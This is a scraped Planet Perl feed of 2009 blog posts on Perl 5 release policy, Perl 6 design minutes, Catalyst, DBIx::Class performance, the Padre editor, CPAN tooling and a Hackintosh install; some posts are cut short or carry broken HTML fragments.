there, rather than including "But of course, we may not, and we'll never know, because it's the DarkPAN."</p><blockquote><div><p> <em>I tend to think that the regular contributors of perl5-porters are a lot more likely to have informed opinions about the Perl 5 core development than people who don't even read it.</em></p></div> </blockquote><p>Pick on me instead then. If you don't like my opinions, feel free to revert all of my patches over the past eight years.</p><blockquote><div><p> <em>[Who's] trying to be realistic by attempting to release software with some quality expectations, notably by making the upgrade process seamless and introducing as little bugs as possible?</em></p></div> </blockquote><p>Yet those quality expectations <em>did not work</em> in the case of Perl 5.10, with well-known defects continuing to spread as more and more people upgrade to Perl 5.10. The existing process does not work. Call it "realistic" if you like, but it did not work for 5.10. (Note also that <a href="">one of the blockers to 5.10.1 is RT #22977</a> -- see also <a href="">RT #50528</a> -- a bug almost six years old that's been present in eleven stable releases of Perl 5.)</p><blockquote><div><p> <em>First, we should not consider breaking it. Breakage happens, but our goal is to avoid it. Secondly, breakage is detected after upgrades, usually (or it would have been avoided).</em></p></div> </blockquote><p>The original point referred to deliberate, backwards-incompatible changes. Note, however, that a regular release policy could revert accidental breakages on a known, fixed schedule. The current Perl 5 release policy does not address this at all, which is part of my objection.</p><blockquote><div><p> <em>We just don't like to introduce incompatible changes just for the sake of being incompatible.</em></p></div> </blockquote><p>The only people suggesting making incompatible changes for the sake of incompatibility are people setting up a strawman argument against people like me who write tests, write testing modules, write documentation, write manuals, explore bugs, give talks, teach new users how to write Perl effectively, and occasionally write patches for new features who say "You know, some of the existing features are wrong, and they'd be better off this way."</p><p>In other words, this is an attempt to diffuse the real issue. The question is not and has never been "Should existing code randomly stop working?" Instead the question is "Can the defaults change in such a way that existing code will still work with perhaps a one-time, one-line change?" (It may not even require that much change.)</p><blockquote><div><p> <em>[Code] changes don't happen because someone yells about it on a blog. They happen because someone actually writes code.</em></p></div></blockquote><p>I <em>wrote</em> code. Rejected. ("What's the point of a <code>class</code> keywords? You can always use <code>package</code> and <code>@ISA</code> anyway! If you need something more, just use any of several dozen <code>Class::*</code> modules on the CPAN!") Jonathan Leto put together a potential Perl 5.10.1 release that needed only a pull from the appropriate perldelta and a pumpking to release it. Rejected. ("Perl 5.10.1 is just around the corner, really, this time we mean it! Small releases are silly and expensive because of <code>stat</code> calls! A regular release cycle is like believing in astrology!")</p><blockquote><div><p> <em>But we're not in the land of toy projects here. We can't bless any change (or revert it two releases afterwards) just because it looks shiny at the time. This is not the</em> parrot <em>you're looking for. People do use Perl 5 for serious things, and we must ensure that a certain level of quality is preserved.</em></p></div> </blockquote><p>I can predict the day and date of Parrot releases into the next <em>century</em>. The number of contributors to Parrot grows over time, as does the frequency of commits. Parrot right now supports features that the Perl 5 VM will never support, and that feature list will only increase over time.</p><p>Dismiss all of that because Parrot is neither as widely-used nor as old as Perl 5 if you like, or even because you think I'm a jerk and you hate everything I care about, but there's one overriding metric for software project management: can people <em>use</em> the software? (The corollary is that unreleased software effectively does not exist.)</p><p>Quibble about the length of our deprecation policy. Complain that we haven't implemented your pet feature in a way that you like. Beg us to move a milestone forward. Berate us for not fixing a bug you don't report. That's fine.</p><p>Yet I believe almost every Parrot committer will agree that our defined support and deprecation policies and our regular release cycle have rescued the project from the very real threats of irrelevance, quality problems, and uselessness.</p><p>"Shut up and write some code!" is just a polite (relatively) way of saying "Do it our way or not at all, and above all, do not question the process or its results -- unless you're a core hacker."<. The DarkPAN matters tag:blogger.com,1999:blog-6096704822492180681.post-2687655967565283796 2009-07-04T12:00:00+00:00 There Degradable Gists (update) tag:blogger.com,1999:blog-876358347971598886.post-1685520250994980699 2009-07-04T07:03:55+00:00 <p>The <a href="">good people</a> at <a href="">GitHub</a> have implemented a <a href="">JSONP</a> api for <a href="">Gists</a>, so I have updated my <a href="">graceful degarding script</a> accordingly (see <a href="">previous post</a>).</p> <p>Now the code no longer needs to hijack <tt>document.write</tt> and has better load time characteristics as well. If you use traditional <tt><script></tt> tags then each gist will block the loading of the page at that point, causing jittery page renderings, and preventing the rest of the content from appearing. This script styles the <tt><pre></tt> tags when the DOM becomes ready, and only fetches the syntax highlighted HTML after the <tt>onload</tt> event, when all other page elements have finished loading.</p> <p>The second new bit is the Perl scripts I've added to streamline working with these degradable Gists.</p> <p>The first script is very simple, given a Gist ID it prints out a <tt><pre></tt> tag suitable for inclusion into your HTML document. For instance <tt>make_pre_tag.pl 115368</tt> outputs:</p> <pre class="fake-gist" id="fake-gist-139200"><pre id="fake-gist-115368" class="fake-gist">use Moose; has fun =&gt; ( isa =&gt; &quot;Constant&quot; );</pre></pre> <p>The second script, <tt>update_gists.pl</tt> is much more interesting. It uses <a href=""><tt>XML::LibXML</tt></a> to find all the <tt>pre</tt> tags with the class <tt>fake-gist</tt> in a document. If these tags have no ID then <a href=""><tt>App::Nopaste</tt></a> is used to create new Gists. Otherwise <a href=""><tt>AnyEvent::HTTP</tt></a> is used to concurrently fetch the updated versions from <a href=""></a>.</p> <p>I start by editing a plain XHTML document in my editor, adding code in the <tt><pre></tt> tags, and then I post the code blocks to github all at once. I use <tt>CDATA</tt> sections to escape the source code in the XHTML document.</p> <pre class="fake-gist" id="fake-gist-139202"><pre lang="perl" class="fake-gist"><![CDATA[ $object->method( foo => $bar, ); ]]></pre></pre> <p>The script re-escapes that using HTML entities so that it is valid HTML (which doesn't support <tt>CDATA</tt>). This way the <tt><pre></tt> tags render fine under quirks mode, allowing jQuery to append HTML strings to the document.< charles proxy is way cool 2009-07-04T02:40:06+00:00 <p>On the recommendation of a friend, I tried out the <a href="">Charles</a> HTTP proxy for debugging... web stuff. It's nagware, and the nagging is <em>really</em> annoying. Despite that, it was obvious within the first two hours that I was going to buy it. It made it very, very simple to diagnose a number of problems that Firebug and Safari could not sort out. (They both seem to clear their logs fairly aggressively during redirection, for one thing.)</p> <p>Once I'd sorted out my first bug, I (work) bought a license. A few hours later, I used it to solve another problem. Then two more. Seriously, it's really, really useful, and I've barely scratched the surface of what it can do. If you have to deal with the web as a programmer, check it out. I think it's probably already saved me $50 worth of work time.</p><img src="" height="1" width="1"/> Ricardo Signes Rubric: rjbs's entries with a body Rubric 2009-07-13T20:01:20+00:00 My new hackintosh 2009-07-04T00:00:04+00:00 <div class="series_toc"></div> <p>I recently acquired a Dell Mini 9 laptop and turned it into a Hackintosh using <a href="">these instructions from Gizmodo</a>.</p> <p>The install was relatively smooth. Not 100% — I had to go through it twice in the end — but not bad. Here is the result: my hackintosh posing with my work laptop, a 15″ Macbook Pro.</p> <p><a href="" title="View 'My Dell Mini 9 Hackintosh' on Flickr.com"><div><img src="" alt="My Dell Mini 9 Hackintosh" border="0" width="500" height="375" /></div></a></p> .</p> <p>Here are my additional notes:</p> <p>I used the USB stick install, no DVD drive. Where Gizmodo says <i>Choose “80″ for the primary internal SSD</i> I had to type “81″ instead.</p> <p <a href="">10.5.6 combo update</a> from Apple and installed that instead. Worked fine.</p> <p>Wake from sleep wasn’t working. Googling around, <a href="">stevenf’s hackintosh notes</a>.</p> <p>I’m not very impressed with the battery life, but I hear 10.5.7 <a href="">improves matters</a>. I’m not going to try it right now — I’m off for a short trip tonight and don’t want to get the laptop wedged again — but I might try next week.</p> <p.</p> <p.</p> <div class="series_links"> </div><div class="feedflare"> <a href=""><img src="" border="0" /></a> <a href=""><img src="" border="0" /></a> <a href=""><img src="" border="0" /></a> <a href=""><img src="" border="0" /></a> <a href=""><img src="" border="0" /></a> </div><img src="" height="1" width="1" /><img src="" height="1" width="1"/> Kirrily Robert Infotropism Kirrily Robert's blog 2009-07-10T06:41:35+00:00 DateTime::Duration::W3C? 2009-07-03T13:45:44+00:00 <p>If this is on the CPAN, please let me know. I can't find it. If not, we probably need it at work</p><p>The <a href="">W3C duration standard</a>, derived from the ISO 8601 duration standard, allows one to specify durations in a format like <tt>P<em>n</em>Y<em>n</em>M<em>n</em>DT<em>n</em>H<em>n</em>M<em>n</em>S</tt> (e.g.: "P1Y2MT2H", a duration of one year, two months and two hours). I can't find a proper parser for it and it turns out to have some tricky bits. Basically, I want to do this:</p><blockquote><div><p> <tt>my $duration = DateTime::Duration::W3C->new_from_w3c("P1Y2MT2H");</tt></p></div> </blockquote><p>Which would be more or less equivalent to:</p><blockquote><div><p> <tt>my $duration = DateTime::Duration->new(<br /> years => 1,<br /> months => 2,<br /> hours => 2,<br />);</tt></p></div> </blockquote><p>The only real difference would be (I think) adding string overloading to allow one to print the duration and have it come out in the proper format.</p><p>I can write this and try to handle the special cases I find documented (<a href="">I'll be damned if I'm going to pay 130 Swiss Francs for the damned ISO 8601 standard</a>), but I'd love to know if it's already out there.<. How to Count (Parrot Style) 2009-07-03T09:11:54+00:00 .)<. Perl 6 Design Minutes for 27 May 2009 2009-07-02T23:03:51+00:00 <p>The Perl 6 design team met by phone on 27 May 2009. Larry, Allison, Patrick, Jerry, and chromatic attended.</p><p> <strong>Larry:</strong> </p><ul> <li>changed the <code>time</code> function to return a <code>Rat</code> </li><li>thinking about the traits that have been bothering Jonathan and others</li><li>have some changes to check into the spec when I'm happy with them</li><li>thinking about the primitives we use to define <code>use</code> </li><li>breaks down into load and import</li><li>thinking of establishing compile-time keywords for both concepts</li><li>intended so that I can import from anything acting like a module -- an inlined role, for example</li><li>otherwise trying to keep up with the flow of IRC</li></ul><p> <strong>Allison:</strong> </p><ul> <li>working on the Parrot book</li><li>changed its focus to a small, 100-page PIR book from a monolithic Parrot book</li><li>the intent is to get something out for YAPC and OSCON</li><li>will send out a draft for review</li><li>will merge my changes into the repo later this week</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>released Rakudo #17 last week</li><li>was easy again</li><li>875 more tests since #16, so we pass 68% of the spectest suite</li><li>finished implementing the <code>root_new</code> opcode in Parrot</li><li>cleans up a lot of the PMCProxy issues from moving Rakudo to its own HLL</li><li>gained half of the speed we lost from the migration</li><li>we'll get more back as we update more places that need it</li><li>NQP never expected anything like that</li><li>I have to rework some it and PCT</li><li>haven't quite figured out how to do that</li><li>refactoring <code>use</code> and <code>import</code> in Rakudo</li><li>the current implementation doesn't work</li><li>will hopefully match with what Larry's putting in the spec</li><li>it seems like the logical way to do things</li><li>updated Rakudo's ROADMAP in <em>docs/ROADMAP</em> </li><li>gives us an idea of dependencies and next tasks</li><li>may also help people understand what blocks features they want</li></ul><p> <strong>Jerry:</strong> </p><ul> <li>the bonding period has ended for GSoC</li><li>time for students to start coding</li><li>everyone on the Perl 6 and Parrot projects is ready</li></ul><p> <strong>c:</strong> </p><ul> <li>fixed some memory leaks in Parrot and Rakudo</li><li>there are still some in Rakudo, but the web examples should be able to live longer</li><li>did more profiling</li><li>think NFG is important for Parrot in the near term</li><li>have some documentation to write</li><li>have been editing the Parrot book</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>how's the command line for Rakudo coming?</li></ul><p> <strong>Jerry:</strong> </p><ul> <li>I expect to get back to that</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>the "parens build captures" decision surprised me</li><li>what's the rationale?</li><li>I really liked "parens mean grouping"</li><li>maybe I haven't reconfigured my worldview yet, but it feels messy</li></ul><p> <strong>Larry:</strong> </p><ul> <li>when used in an argument list, it has the same effect as a capture</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>it even works when they're used as a term</li></ul><p> <strong>Larry:</strong> </p><ul> <li>they still mean that you have to look at what you're binding to and decide</li><li>am I binding this to a scalar or to an array?</li><li> <code>(1, 2, 3)</code> bound to an array...</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>I'm going to have to think about that</li><li>the <code>zip</code> operator in slice context....</li><li>is this three or one positional arguments? <code>zip($a,$b,$c)</code> </li><li>how many positional arguments are in this case? <code>zip($a,$b,$c;$d)</code> </li></ul><p> <strong>Larry:</strong> </p><ul> <li>one slice</li><li>you wouldn't want to write that</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>what in the arg list distinguishes the use of the semicolon versus the comma</li><li>inside of an argument list we have to recognize a variety of syntactic things</li><li>comma, semicolon, colon, array or hash sigil, named parameters</li><li>seems like captures need more information than just positional</li><li>they need to store metadata about positional arguments</li><li>I like the syntactic stuff showing up in the argument list</li><li>but I don't want to handle them in three different ways</li></ul><p> <strong>Larry:</strong> </p><ul> <li>I'll have to think about that</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>haven't figured out how to deal with slice context either</li></ul><p> <strong>Larry:</strong> </p><ul> <li>might say that the presence of a semicolon implies the presence of other parens</li><li>the comma implies...</li><li>that might be more consistent binding for a top-level list</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>I half expected that answer</li><li>I can see the semicolon as just a lower precedence grouping operator</li></ul><p> <strong>Larry:</strong> </p><ul> <li>otherwise you have a semicolon that's just not there in every other argument list</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>assuming that, the other commas form an argument list through the infix semicolon</li><li>an array in there means Capture of Capture of Capture</li><li>we were about to refactor List and Array in Rakudo anyway</li><li>the question is "Do we really have a List type now?"</li><li>Rakudo assumes that</li></ul><p> <strong>Larry:</strong> </p><ul> <li>if we can unify args list with List, that's probably healthy</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>I'd really like that</li><li>that makes things a lot cleaner</li><li>infix comma and infix semis now just create arglists</li></ul><p> <strong>Larry:</strong> </p><ul> <li>or Lists</li><li>if you define List as "something that has out of band metadata"</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>any more decisions that you can make about that will help our implementation</li><li>I probably won't get around to that this week</li></ul><p> <strong>Larry:</strong> </p><ul> <li>we make syntactic distinctions</li><li>we know that this is an arg list</li><li>we treat pairs as named arguments</li><li>we don't do that if we know it's not an argument list</li><li>it stays positional</li><li>that's the only distinction between an arg list and a List</li><li>purely syntactic</li></ul><p> <strong>Patrick:</strong> </p><ul> <li>to summarize</li><li> <code>zip($a, $b, $c)</code> has three positional arguments</li><li> <code>zip($a, $b, $c; $d)</code> has two, the first of which is itself a list/capture</li></ul>. Need for Speed Part I: DBIx::Class vs DBI 2009-07-02T20:49:15+00:00 <p>Yesterday I had to write some code that goes through ~700.000 datasets (seperated into 6 tables) and denormalise them (see the yet unwritten Part II). As we're using DBIx::Class, I first used it. Even though I avoided some in/deflators and used <code>columns</code> to only get the stuff I needed, the process took ages (~50 items per second or aprox 4 hours for the whole job). Well, 4 hours might be bearable, but this was only the Swiss dataset. The German one, which we have to tackle soon, is at least 10 times as big, and 40 hours is just a way too long runtime.</p><p>So I rewrote the core of the programm using raw DBI calls (I had several flashbacks to the 90's :-)>. What is Catalyst, Really? tag:blog.urth.org,2009://2.96 2009-07-02T18:22:46+00:00 <p>A <a href="">recent thread on the Mason users list</a> reminded me of the problems I had grokking Catalyst when I first looked at it. Raymond Wan wrote "I'm skimming over the MVC part and as my system doesn't use an SQL database, I'm wondering if Catalyst is overkill??"</p> <p>Those of us who know Catalyst know that this question is based on some wrong assumptions, but it's easy to see why Raymond has those assumptions. Look at the <a href="">Catalyst tutorial</a>. In the very first chapter, it's already talking about databases and <a href="">DBIx::Class</a>.</p> <p>It's easy to look at this and assume that Catalyst is somehow tightly bound to DBIx::Class or SQL databases.</p> <p>The problem is that the tutorial docs really need to serve two different audiences, though both audiences are Catalyst newbies.</p> <p>On the one hand, you have people with relatively little web app experience. Presumably, they know some Perl, and they do a web search for "perl web application framework". Eventually, they'll get to Catalyst and start reading about it. For those people, being given a set of standards and a full walk through of Model and View (in addition to Controller) is very valuable. It gives them all the tools they need to get started on simple web apps without having to make too many choices.</p> <p>The other audience is people who have some real web app development experience with something more primitive than Catalyst. These could be people coming from a Mason-based site without any real controllers, or people who used something like Apache::Template with mod_perl, or maybe they wrote their own controllers "by hand" using the mod_perl API.</p> <p>Many of those folks will already have some experience with models. To refer back to Raymond, presumably his system already has some sort of model code, it just doesn't use a SQL DBMS. Those people will look at the existing Catalyst tutorial and get confused. Isn't Catalyst flexible? Then why does it look like RoR, with all my tool choices made for me?</p> <p>It took me a while to realize that Catalyst, at its core, is smaller than you might think, and you can use just the pieces you like.</p> <p>The very core of Catalyst is its dispatching system. Given a URI, it selects a piece of code to run. Its dispatcher is very powerful (Chained methods are great!), and with plugins like <a href="">Catalyst::Action::REST</a>, it's even better.</p> <p>Along with the dispatching system, Catalyst also provides an abstraction over the typical web app request/response cycle. The Request makes it easy to look at incoming query arguments, POST data, file uploads, and headers. The Response lets you set headers and return output to the client, whether that be HTML or a downloadable file.</p> <p>Catalyst also includes engines (think "environment adapters") for a number of common web application environments, including vanilla CGI, mod_perl, FastCGI, and more. These engines make sure that the Request/Response API works exactly the same in any environment where Catalyst can be deployed.</p> <p>This is a huge win, since you can write your app without worrying about the deployment environment. If you're writing an app for public distribution, it gives the installing users a choice of how to deploy.</p> <p>These core pieces are really the only parts of Catalyst you have to use when you use Catalyst. If you don't want dispatch and a request/response API, you don't want Catalyst.</p> <p>Catalyst (really <a href="">Catalyst-Devel</a>) also includes a fantastic single-process development server. This server can be started straight from an application's checkout directory with one command. Even better, this dev server can be told to monitor all relevant files and restart itself when any of them change. Note that this is a proper restart, which avoids all the myriad problems that afflict Apache::Reload and its ilk, which attempt to reload modules in the same Perl interpreter.</p> <p>Just these things - controllers, a request/response abstraction, deployment agnosticism, and a great dev environment - are enough to make Catalyst a great choice. Ignore everything else it does and you'll still have improved your development process and improved your code.</p> <p>Catalyst also does some other things ...</p> <p>It has a component system which has allowed people to release a whole host of useful plugins. If you look on CPAN, you'll find things like <a href="">sessions</a>, <a href="">powerful authentication</a>, <a href="">dumb authentication</a>, <a href="">I18N</a>, and much more. If a plugin does what you need, it'll save you a lot of development time.</p> <p>Note that the old "Catalyst::Plugin" system is in the process of being deprecated, but the concept of pluggable components is still core to what Catalyst is. All that's changed is the way pluggability works.</p> <p>Catalyst lets you have multiple views. While many apps will just output HTML via a templating system, this flexibility is great for RESTful apps that may want to output XML, JSON, and still fall back to HTML for browsers (see my <a href="">REST-ForBrowsers</a> for some help with that).</p> <p>Catalyst also has configuration file handling built-in. Personally, I avoid it, because it only works within the context of the whole "Catalyst environment". That means it's awkward at best to load the configuration outside of the web environment. I always make sure that application wide setting are available for things like cron jobs. This falls into a category of Catalyst features which are not best practices, but are probably useful for people writing their first web app.</p> <p>Catalyst gives you hooks for models. Again, this is something I never use, but it's another "useful for web app n00bs" feature.</p> <p>There's probably many other things I've left out. The point is that Catalyst provides a very powerful set of core web app tools, and that core is actually small.</p> <p>Relative to a "my way or the highway" type framework (RoR and Jifty, I'm looking at you), it's easy to port an existing application to Catalyst. In fact, using <a href="">Catalyst::Controller::WrapCGI</a>, you can wrap an existing CGI application with Catalyst, and then convert slowly over to "native" controllers.</p> <p>And most importantly, you can to Catalyst without touching your model at all! Since many applications have the bulk of their code in the models (at least, they do if you're doing it right), this is a huge win.</p> <p>Next step is to turn some of this rambling into doc patches. I think a section of the Catalyst tutorial aimed at folks coming from an "old school" web app background would be great, and would really help people like Raymond (and would've helped me a few years back).</p><img src="" height="1" width="1"/> Dave Rolsky House Absolute(ly Pointless) Unsubstantiated Opinions and Meaningless Blather tag:blog.urth.org,2008-08-19://2 2009-07-02T18:41:44+00:00 The Real Problem With Roles 2009-07-02T13:47:33+00:00 <p <em>really</em> give a damn about strict equivalence in overridden methods?)</p><p?</p><p?</p> <em>will</em> another 40 years of arguing.<. Why am I writing Padre? 2009-07-02T09:24:31+00:00 > I have been teaching Perl 5 for almost 10 years now. Both beginner level and advanced courses. In the beginner courses the majority of the people use Windows with about 20-30 percent using Linux. Most of the Windows users use Notepad++ or a similar editor. Some of them can configure their editor to run the perl script right from the editor, others don't even know how to enable syntax highlighting for Perl 5. Some of the people on Windows don't know what the command line is but even those who know how to open the command prompt are either afraid of it or just dislike it. </p> <p> Mind you these are not stupid people or anything like that. Some of them have many years of hardware design behind them. They are just used to some kind of IDEs. </p> <p> Others might use Linux/Unix but many not by choice. In many cases the company they are working for gives them telnet access to an oldish Unix machine and tell them to code in Perl. They hardly know vi, they don't know how to configure syntax highlighting and they don't know how to install any other editor. </p> <p> I have been using vim for many years and I can testify that it is a superb editor. Emacs is similary strong but I have not used it since university. The problem with both of them is that they are totally different from the editors most people are used to and their learning curve is long and steep. It takes several months or even years to become familiar with them. Most of the people don't want to invest that energy and I certainly don't have the time for that in a 4 days long Perl 5 course. <> I don't think my students are too different from the average people learning and using Perl. Most of them will never write a full blown web application. Heck most of them won't have a need for object oriented coding as they write only 100-200 line long scripts in Perl. </p> <p> They never get really familiar with Perl and they will always have to deal with strange code written by others. With all the other tasks they are required to do in their primary language or tool they will keep wondering what is $_ when they see it and will be surprised when they don> Unfortunatelly most of the experienced Perl developers are also hard-core vim or emacs users and it is nearly impossible to move them away from their editor. Luckily there were a few who got interested by the idea of having a lot of control over their editor and that made the difference between a failing one man project to a project with a lot of potential. << impending death of BZip2 2009-07-02T06:18:57+00:00 <blockquote><div><p> <tt>adam@svn:~/svn.ali.as/db$ ls -l<br />total 30884<br />-rw-r--r-- 1 adam adam 9558294 Jul 2 03:45 cpandb.gz<br />-rw-r--r-- 1 adam adam 8538979 Jul 2 03:45 cpandb.bz2<br />-rw-r--r-- 1 adam adam 5960155 Jul 2 03:45 cpandb.lz<br />-rw-r--r-- 1 adam adam 3014480 Jun 30 06:46 cpanmeta.gz<br />-rw-r--r-- 1 adam adam 2658756 Jun 30 06:46 cpanmeta.bz2<br />-rw-r--r-- 1 adam adam 1825600 Jun 30 06:46 cpanmeta. Updating minicpan alphas more frequently 2009-07-01T22:03:34+00:00 <p>At the Perl QA hackathon, Andreas Koenig, the maintainer of <a href="">PAUSE</a>, demonstrated a way to decrease the lag between new distribution uploads to PAUSE and syndication to <a href="">CPAN mirrors</a>. (See <a href="">File::Rsync::Mirror::Recent</a> on CPAN for details). Running <a href="">minicpan </a>against a one of the new, fast updating mirrors results a very fresh minicpan, but, until now, only for regular releases, not for alpha development releases.</p> <p>Last year, I wrote <a href="">CPAN::Mini::Devel</a> to include development releases in a minicpan, but it depends on an obscure, large, infrequently updated index.<sup>1</sup> Now, with smaller, fast-updating index files available for rsync, I released <a href="">CPAN::Mini::Devel::Recent</a> to take advantage of them for minicpan as well.</p> <p.</p> <ol class="footnotes"><li id="footnote_0_271" class="footnote">indices/find-ls.gz</li></ol><img src="" height="1" width="1"/> David Golden dagolden Whatever comes to mind 2009-07-11T15:21:11+00:00 CPANDB 0.02 - Now we're starting to get somewhere 2009-07-01T17:17:06+00:00 <p>On the back my my improved and high-coverage CPAN::Mini::Visit and Archive::* fixes, I've finally managed to build a complete-coverage version of <a href="">CPANDB</a>.</p><p>CPANDB is a merged and cleaned up schema that combines the CPAN index, the "CPAN Uploads" database (for PAUSE upload dates), and both class and distribution level dependency information held in META.yml files (replacing the CPANTS dependency graph).</p><p>To take a look at it, you can grab a copy of the SQLite database directly from the following URL.</p><p><a href=""></a>.</p><p>The data sources used to generate it are not perfectly time-synced yet, so I expect to see a few minor flaws for another release or two. But compared to everything else available (from pretty much everybody) this should be a significant improvement.</p><p>As well as clearing up the last tiny data quality issues, I'm also yet to merge in the rt.cpan.org database (which is almost ready) and the CPAN Ratings database (which is a text file I really don't want to have to parse).</p><p>But don't let this stop you trying it out now (I've appended the schema to the bottom of this post so you can get a clearer idea of what's in there).</p><p>As usual, feedback is welcome.</p><p>CREATE TABLE author (<br /> author TEXT NOT NULL PRIMARY KEY,<br /> name TEXT NOT NULL<br />);</p><p>CREATE TABLE distribution (<br /> distribution TEXT NOT NULL PRIMARY KEY,<br /> version TEXT NULL,<br /> author TEXT NOT NULL,<br /> release TEXT NOT NULL,<br /> uploaded TEXT NOT NULL,<br /> FOREIGN KEY ( author ) REFERENCES author ( author )<br />);</p><p>CREATE TABLE module (<br /> module TEXT NOT NULL PRIMARY KEY,<br /> version TEXT NULL,<br /> distribution TEXT NOT NULL,<br /> FOREIGN KEY ( distribution ) REFERENCES distribution ( distribution )<br />);</p><p>CREATE TABLE requires (<br /> distribution TEXT NOT NULL,<br /> module TEXT NOT NULL,<br /> version TEXT NULL,<br /> phase TEXT NOT NULL,<br /> PRIMARY KEY ( distribution, module, phase ),<br /> FOREIGN KEY ( distribution ) REFERENCES distribution ( distribution ),<br /> FOREIGN KEY ( module ) REFERENCES module ( module )<br />);</p><p>CREATE TABLE dependency (<br /> distribution TEXT NOT NULL,<br /> dependency TEXT NOT NULL,<br /> phase TEXT NOT NULL,<br /> PRIMARY KEY ( distribution, dependency, phase ),<br /> FOREIGN KEY ( distribution ) REFERENCES distribition ( distribution ),<br /> FOREIGN KEY ( dependency ) REFERENCES distribution ( distribution ).
http://feeds.feedburner.com/PlanetPerl
crawl-002
refinedweb
18,906
61.06
Template talk:Feature Contents - 1 Proposals - 2 Removed banner - 3 There no need to include single article Junctions twice: in Category:Features and Category:Junctions when Category:Junctions is subcategory in Category:Features - 4 "Merging" with Template:Description? - 5 Internationalization support now available - 6 How to set the sortkey Proposals I will remove the link to the little-used 'Feature/Proposals' page from this template in due course unless anyone objects here in the mean time. Before doing this I will review the existing feature pages and move the Proposals into a suitable 'Proposals' section on the main feature page or create a link to that page from a 'Proposals' section as appropriate. PeterIto 06:50, 20 December 2011 (UTC) - I have now made the change suggested above having checked all the relevant /proposals pages and moved any content into the relevant feature page. PeterIto 08:33, 20 December 2011 (UTC) I have removed the banner from this template which seems to add little of benefit and cluttered the top of every feature page. PeterIto 10:35, 11 February 2012 (UTC) There no need to include single article Junctions twice: in Category:Features and Category:Junctions when Category:Junctions is subcategory in Category:Features It is not fixed right now. Xxzme (talk) 04:05, 10 November 2014 (UTC) "Merging" with Template:Description? A brief thought: could it be an idea to make an adapted Template:FeatureDescription that simply uses Template:Description, or would the use-case for the feature template be a bit too specific for that? It'd be useful for features such as statuses, as well as being easier to translate for the other users. Messy Unicorn (talk) 12:55, 4 January 2015 (UTC) - Well currently feature template is really simple: optional image, description and links to tags. Even we can benefit from existing features in Description template, how does this will make translations easier? See also recent changes and discussion in section below. Xxzme (talk) 16:08, 30 April 2015 (UTC) Internationalization support now available I have added internationalization support to this template. And an technical issue caused by a namespace hack is fixed (using more simple way to solve namespace). To add new languages or new words, you can edit Template:FeatureLang. --Mfuji (talk) 04:55, 28 March 2015 (UTC) How to set the sortkey I have removed the sort key which is added at Mar 5, 2016. There are two reasons: - There are some languages (e.g. Japanese) which use different sort key from the page title. Setting the sort key from "title" parameter in this template avoids to set the different sort key. - The feature page can be also categorized other than Category:Features. In such a case, the sort key has to be added the other categories, too. So {{DEFAULTSORT}} should be commonly used to set the sort key. --Mfuji (talk) 04:09, 17 May 2016 (UTC)
http://wiki.openstreetmap.org/wiki/Template_talk:Feature
CC-MAIN-2017-17
refinedweb
484
51.38
Odoo Help Odoo is the world's easiest all-in-one management software. It includes hundreds of business apps: CRM | e-Commerce | Accounting | Inventory | PoS | Project management | MRP | etc. V9 Automated Actions wrong number of arguments I'm new to Odoo and looking at setting up an instance with custom modules for my golf business. I also just want to learn how to develop for this system. I have to confess that learning the API has been difficult with available documentation, as I can't tell what examples are for instances pre-8.0 and what are for instances after. I'm also not sure if the method decorators are only meant to be used when configuring an old api call to the new system, or if they should be used all the time. This is a pretty simple task that I'm trying to accomplish. I want an automated action to run every day that looks at records from a table and creates new ones. There should be a record for every time slot two weeks in advance. The first time the job is run, it would create two weeks' worth of records. Each time after that, it should only be creating records for the 14th day out. In golf/data/data.xml, I have: <?xml version="1.0" encoding="UTF-8"?> <openerp> <data noupdate="1"> <record id="ir_cron_scheduler_slot_create" model="ir.cron"> <field name="name">Slot Creator</field> <field name="user_id" ref="base.user_root"/> <field name="interval_number">1</field> <field name="interval_type">days</field> <field name="numbercall">-1</field> <field eval="True" name="doall"/> <field eval="'golf.slots'" name="model"/> <field eval="'create_slots'" name="function"/> </record> </data> </openerp> In golf/models/models.py I have: # -*- coding: utf-8 -*- from openerp import models, fields, api import datetime import logging _logger = logging.getLogger(__name__) class Slot(models.Model): _name = 'golf.slots' name = fields.Char(string="Title", required=True) slotDatetime = fields.Datetime(required=True) status = fields.Char(string="Status", required=True) def create_slots(self, cr, uid, content=None): slots_obj=self.pool.get('golf.slots') def dates(): start_date=datetime.date.today() end_date=start_date + datetime.timedelta(14) for n in range ((end_date-start_date).days+1): yield start_date + datetime.timedelta(n) def times(): start_time = datetime.datetime(2016, 1, 1, 8, 00) end_time = start_time + datetime.timedelta(hours=11) l=[] while start_time <= end_time: l.append(start_time) start_time+=datetime.timedelta(minutes=10) return l for date in dates(): _logger.info('Mark') if slots_obj.search_count(cr, uid, [('slotDatetime', '=', date)]) == 0: for time in self.times(): year = date.strftime('%Y') month = date.strftime('%m') day = date.strftime('%d') hour = time.strftime('%H') minute= time.strftime('%M') nameString = date.strftime('%Y-%m-%d') + ' ' + time.strftime('%H:%M') nameDT = datetime.datetime(year, month, day, hour, minute) slots_obj.create(cr, uid, {'name': nameString, 'slotDatetime': nameDT, 'status': 'Open'}) _logger.info('create ' + nameString) The module installs without error, and when I activate developer mode the Automated Action shows up in the list. When I execute it manually, nothing appears to happen (no records are created) and the log shows the following in the traceback: 2016-06-16 17:17:14,325 1104 ERROR odooTest openerp.addons.base.ir.ir_cron: Call of self.pool.get('golf.slots').create_slots(cr, uid, *()) failed in Job 6 Traceback (most recent call last): File "/opt/odoo/openerp/addons/base/ir/ir_cron.py", line 129, in _callback getattr(model, method_name)(cr, uid, *args) TypeError: create_slots() takes exactly 1 argument (3 given) I have tried changing the create_slots() method to only take (self) as an argument, I've tried preceding it with the @api.multi decorator, and I still get the same error. I know the code is ugly right now, but at this stage it's just a proof of concept that I can get the model to execute the method properly. Any suggestions on how to get this working
https://www.odoo.com/forum/help-1/question/v9-automated-actions-wrong-number-of-arguments-103576
CC-MAIN-2017-09
refinedweb
639
53.27
